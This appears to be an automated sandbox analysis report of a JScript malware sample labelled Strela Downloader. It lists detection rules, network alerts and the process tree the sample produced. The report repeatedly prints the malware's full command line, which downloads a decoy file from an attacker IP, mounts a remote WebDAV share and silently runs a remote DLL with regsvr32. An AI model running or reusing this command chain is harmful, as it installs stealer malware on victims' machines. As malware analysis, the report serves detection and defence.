Edit tour

Windows Analysis Report
2801910740378426994.js

Overview

General Information

Sample name:	2801910740378426994.js
Analysis ID:	1589038
MD5:	10b3c1a3bbb8d53174435681d4f3fb4a
SHA1:	e83ddf1d3081eb848ea26c82da20ea8b3caed2f2
SHA256:	dfc9ed8859b85450f20983446da2167bc15e795bc1ce616da16d9f9afbef3825
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7488 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7580 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7632 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8040 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1624,i,2315760363782123974,5897702423457590765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7836 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7912 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8108 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7488	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7580, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7580, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ProcessId: 7488, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7912, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 7580, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 7580, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 7580, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 7580, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 7580, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ProcessId: 7488, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7580, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7836, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7912, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8108, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7836, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7912, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 7580, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:44:26.535715+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:44:29.323886+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:44:26.535715+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2801910740378426994.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2801910740378426994.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2801910740378426994.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:44:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

